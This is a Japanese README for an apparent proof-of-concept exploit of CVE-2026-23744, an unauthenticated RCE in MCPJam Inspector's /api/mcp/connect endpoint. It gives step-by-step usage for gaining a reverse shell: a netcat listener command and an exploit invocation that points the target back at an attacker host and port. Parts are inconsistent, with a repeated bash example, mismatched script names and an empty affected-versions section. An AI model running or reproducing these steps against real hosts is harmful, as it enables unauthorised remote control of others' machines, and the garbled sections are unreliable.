CVE-2026-23744 — MCPJam Inspector の未認証 RCE

MCPJam Inspector <= 1.4.2 はデフォルトで 0.0.0.0 にバインドし、認証なしで /api/mcp/connect を公開します。このエンドポイントは serverConfig オブジェクトを受け入れ、ホスト上で直接プロセスを起動します — リバースシェルのペイロードを渡すと、認証情報なしで即座に RCE が成立します。

必要条件

pip install requests

使用方法

python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]

リバースシェルの例

ステップ 1 — リスナーを起動:

nc -lvnp 4444

ステップ 2 — エクスプロイトを実行:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

ペイロード方式

ターゲット上で busybox が動作しない場合は、他の方式を試してください:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

影響を受けるバージョン

参照

• CrowdSec CVE トラッカー — CVE-2026-23744
• MCPJam Inspector GitHub